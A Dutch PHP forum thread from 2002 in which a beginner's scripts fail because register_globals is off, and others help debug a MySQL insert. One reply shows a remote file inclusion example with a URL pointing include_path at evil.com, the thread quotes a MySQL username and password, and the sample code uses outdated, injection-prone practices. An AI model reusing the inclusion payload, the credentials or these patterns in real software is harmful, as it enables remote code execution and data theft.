[SERVER] IIS + PHP + MySQL > Variabele werken niet?

Pagina: 1
Acties:

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Na dat ik gister een topic had omdat iets niet werkten, wat snel opgelost was achteraf! Maar ik heb zo mijn twijfels over dat IIS

Als ik het zo hoor, zijn er vele mensen die gewoon Apache draaien. Ik krijg gewoon rare fouten, het kan aan mij liggen, het kan aan de nieuwste software liggen.

Daar zit nu ook mijn vraag...

Ik las iets over PHP dat in de nieuwste versie's variabele als $submit, niet meer direct herkend worden.

Licht dit nu aan me IIS en raden jullie mij aan om Apache te installeren, of ligt dit gewoon ongeacht welke servertpe je draait, aan de nieuwere versie van PHP.

Ik snap er niks van, vind het behoorlijk iritant namelijk dat ik niet eens de handleiding die ik heb gewoon kan volgen zonder om de haverklap steeds opnieuwe variabele te declareren.

Ik geef ff een klein voorbeeldje:

Script zoals het er stond
PHP:
1
2
3
<? 
print  ("Hallo $naam, dit is de wereld van PHP"); 
?> 


Ik moet hier dus van maken
PHP:
1
2
3
4
<?PHP
$naam = $_GET["naam"];
print ("Hallo $naam, welkom in de wereld van PHP");
?>


Dit heb ik dus ook met andere dingetjes gehad, zal nog één klein voorbeeldje geven:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? 
$naam = $_POST["naam"];
$achternaam = $_POST["achternaam"];
$geslacht = $_POST["geslacht"];
$leeftijd = $_POST["leeftijd"];

print ("Naam: $naam <br>"); 

print ("Achternaam: $achternaam <br>"); 

print ("Geslacht: $geslacht <br>"); 

print ("Leeftijd: $leeftijd <br>"); 
?>


Volgens het voorbeeld, hoefde ik het eerste gedeelte niet te schrijven
dit stukje dus:
PHP:
1
2
3
4
$naam = $_POST["naam"];
$achternaam = $_POST["achternaam"];
$geslacht = $_POST["geslacht"];
$leeftijd = $_POST["leeftijd"];


Met behulp van een collega deed hij het na deze aanpassingen wel.

Is er iemand die hier iets van snapt (ja die zijn er zeker) en die mij dit wil uitleggen?

Ik wil het echt graag leren, maar ik wordt er wel een beetje ziek van dat ik het steeds anders moet doen dan andere, en dat ik daardoor ook steeds in de problemen komt, dat motiveert namelijk niet echt!

Verwijderd

Het zit hem wellicht in de versie van php die je draait en evt. in de combinatie webserver met php.

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Ok, dat was dus al te verwachten, heb je dan tips hoe ik dit opgelost krijg?

Andere server gaan draaien?
Andere versie van PHP gaan draaien?

Of alles er af donderen en helemaal opnieuw doen met behulp van bv, phpdev?

Aangezien ik de eerste keer met behulp van een vriend al 2 uur bezig ben geweest alles in te stellen, durf ik mezelf er nog niet helemaal aan te wagen...

  • thomaske
  • Registratie: Juni 2000
  • Laatst online: 14-07 14:28

thomaske

» » » » » »

Kijk hier eens naar:
[rml][ php] iets.php?blaat=blaa werkt niet meer :'([/rml]

heeft dus te maken met de register_globals instelling in je php.ini

Brusselmans: "Continuïteit bestaat niet, tenzij in zinloze vorm. Iets wat continu is, is obsessief, dus ziekelijk, dus oninteressant, dus zinloos."


  • Nazgul
  • Registratie: Februari 2000
  • Laatst online: 11-10-2022

Nazgul

Digital Pizza Crew

Waarschijnlijk draai je een PHP versie 4.2.0 of hoger.
Sinds die versie staat register_globals in de php.ini standaard uit.

Voor een wat uitgebreidere uitleg: Coding PHP with register_globals Off
edit:
Net te laat :)

No trees were killed in the sending of this message. However a large number of electrons were terribly inconvenienced.


  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Aha zo zit dat dus, ok nou was ik dus gister die php.ini aan het zoeken, maar die staat in me C:\windows en dat leek me nou niet de goede file die ik zogt!

Maar ik zal ff jullie links nalopen, mocht het niet lukken dan gil ik wel ff een keertje! Alvast bedankt

Verwijderd

De register globals regel in je php.ini staat op false ( waar ie ook op moet blijven staan :) ).
Zoals je het nu moet oplossen is dan ook de manier zoals de meesten het doen aangezien je met register globals grote beveligings problemen kunt creeren.
Neem bijv. eens het volgende:
PHP:
1
2
3
4
<?php
require_once($include_path & "bla.php");
// doe iets
?>

Wanneer iemand nu de pagina aanroept als volgt:
code:
1
http://www.blaat.org/eenpagina.php?include_path=http://evil.com/evilscripts/

Dan kan het zo zijn dat hij bla.php van een hele andere lokatie laadt met alle gevolgen van dien }) .
Mooi zo laten staan dus :) .

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
dat is dan wel klote van die beveiligings problemen, maar momenteel boeit me dat eigenlijk wat minder, ik denk dat als ik wat beter in dat PHP en MySQL genesteld zit, dat ik dan die dingen ook sneller inzie.

Ik heb de php.ini gelezen er staat dit stukje:
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
register_globals = Off
Kan ik hier dat 'register_globals = Off' gewoon op 'On' zetten, voorlopig dan tenminste...

  • thomaske
  • Registratie: Juni 2000
  • Laatst online: 14-07 14:28

thomaske

» » » » » »

Wat zou je ervan denken om het gewoon eens te proberen! ;)

Brusselmans: "Continuïteit bestaat niet, tenzij in zinloze vorm. Iets wat continu is, is obsessief, dus ziekelijk, dus oninteressant, dus zinloos."


  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Ja dat zou ik normaal ook wel doen, maar ik heb hier dus nogal weinig kennis van, en ben bang dat ik dus alles compleet vern**k vandaar, maar ik kan van jou reactie afleiden dat ik dat gewoon moet doen dus! Bedankt!!

  • Grum
  • Registratie: Juni 2001
  • Niet online
Verwijderd schreef op 14 september 2002 @ 12:16:
Neem bijv. eens het volgende:
PHP:
1
2
3
4
<?php
require_once($include_path & "bla.php");
// doe iets
?>

Wanneer iemand nu de pagina aanroept ....
Krijg je een ranzige error ;)

String concanation is dmv van een '.' in php en niet de de '&'

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Ok het is voor zovere gelukt, die $submit werkt nu zonder problemen, ik blijf alleen nu weer een andere fout houden, ik zal ff de php code geven zoals hij in het voorbeeld staat:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if ($submit)
{
    $server = mysql_connect("", "", "");
    mysql_select_db("winkel", $server);

    $winkel = addslashes($winkel);
    $straat = addslashes($straat);
    $huisnummer = addslashes($huisnummer);
    $locatie = addslashes($locatie);
    
    $sql = "INSERT INTO winkels(winkel, locatie, straat, huisnummer,)
    VALUES ('$winkel','$plaats','$straat','$huisnummer')";
    
    mysql_query($sql) or die("Oops...");
    
    echo ("Cool, winkel is suxesvol toegevoegd.");
}
?>


HTML:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>Winkels toevoegen</title>
</head>
<body>
<h3>Winkel toevoegen</h3>

<form action="insertwinkel.php" method="post">
<input type="hidden" name="submit" value="yes">
Winkel: <input type="text" name="winkel"><br>
Straat: <input type="text" name="straat"><br>
Huisnummer: <input type="text" name="huisnummer"><br>
Plaats: <input type="text" name="plaats"><br>
<input type="submit" value="Voeg toe">
</form>
</body>
</html>


Dit staat samen allemaal in de file insertwinkel.php, gescheiden heb ik geprobeerd maakt geen verschil.

Nou geeft ie dus dat er op line 10 een fout zit, ik heb daar enige aanpassingen geprobeerd, echter werkt dit niet, ik heb ($locatie), veranderd in ($plaats).

Krijg dan geen foutmelding meer, maar hij blijft alleen nog maar Oops.. weergeven.

Wat doe ik nu weer fout?

[ Voor 18% gewijzigd door Crazybyte op 01-06-2006 11:30 ]


Verwijderd

die komma achter huisnummer ;)

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
maakt geen verschil, ook zonder komma blijf ik die OOPS houden

  • supakeen
  • Registratie: December 2000
  • Laatst online: 09-09-2025
Mooi password voor je mysql ;)

  • supakeen
  • Registratie: December 2000
  • Laatst online: 09-09-2025
Crazybyte schreef op 14 september 2002 @ 13:11:
maakt geen verschil, ook zonder komma blijf ik die OOPS houden
Dan lijkt het erop dat er iets fout is met de mysql query :)
doe eens:
PHP:
1
 print mysql_error();

Na die mysql_query :) Dan gaat er een wereld voor je open ;)

Verwijderd

PHP:
1
$server = mysql_connect("", "sander", "123zxc78");
Maakt ie hier wel verbinding? Vervang "" eens door "localhost" (de host waar je mysql op draait).

PHP:
1
mysql_query($sql) or die("Oops...");
Maak hier eens van:
PHP:
1
mysql_query($sql) or die(mysql_errno().$sql);

Zo zie je wat de fout is :)

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Verwijderd schreef op 14 september 2002 @ 13:18:
PHP:
1
$server = mysql_connect("", "sander", "123zxc78");
Maakt ie hier wel verbinding? Vervang "" eens door "localhost" (de host waar je mysql op draait).
Jep dat doet ie, als er niks is weet ie namelijk dat hij localhost moet nemen, daar geeft ie namelijk geen foutmeldingen.

Edit:
lama, tikvoutje!

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
Dit is de goede foutmelding:

1142INSERT INTO winkels(winkel, locatie, straat, huisnummer) VALUES ('Sander','mijn woonplaats','mijn adres','mijn huisnummer')

  • thomaske
  • Registratie: Juni 2000
  • Laatst online: 14-07 14:28

thomaske

» » » » » »

wat jij wil is goed leren debuggen.. bekijk de FAQ eens en zoek daar eens op 'debuggen'


dit stukje bijvoorbeeld


[edit]

verder is het niet slim om deze constructie te gebruiken:

PHP:
1
2
3
if ($submit) 
{ ...
}


Dit werkt alleen maar wanneer er op de submit knop is geklikt, en niet als je bijvoorbeeld in een input-veld op [enter] drukt

Brusselmans: "Continuïteit bestaat niet, tenzij in zinloze vorm. Iets wat continu is, is obsessief, dus ziekelijk, dus oninteressant, dus zinloos."


  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
NOu ja ik heb er genoeg van, ik flikker ff alles erop en zet gewoon een compleet pakketje erop, heb net PHP-traid gedownload, en dan beginnen we gewoon opnieuw!

Evengoed bedankt voor jullie steun!

Verwijderd

PHPtriad is een aanrader, die heb ik zelf ook lange tijd gehad, en daar kun je php gewoon upgraden door vervanging van de map met de nieuwe versie.

En als je dat met PHPdev probeert krijg je talloze errors en ben je genoodzaakt om te w88 totdat firepages een nieuwe versie uitbrengt...

dus goede keuze imo :*)

  • Crazybyte
  • Registratie: Juli 2002
  • Laatst online: 03-08 10:49
ok thnx

ik heb nu alle onderdelen verwijderd, alle mappen die ik had, alles wat ermee te maken had, want ik begrijp dat er in dat PHP traid alles in zit, dus hoef ik daar gen zorgen over te maken!

Als er weer nieuwe problemen zijn kom ik vanzelf nog wel langs!

voor zovere bedankt!
Pagina: 1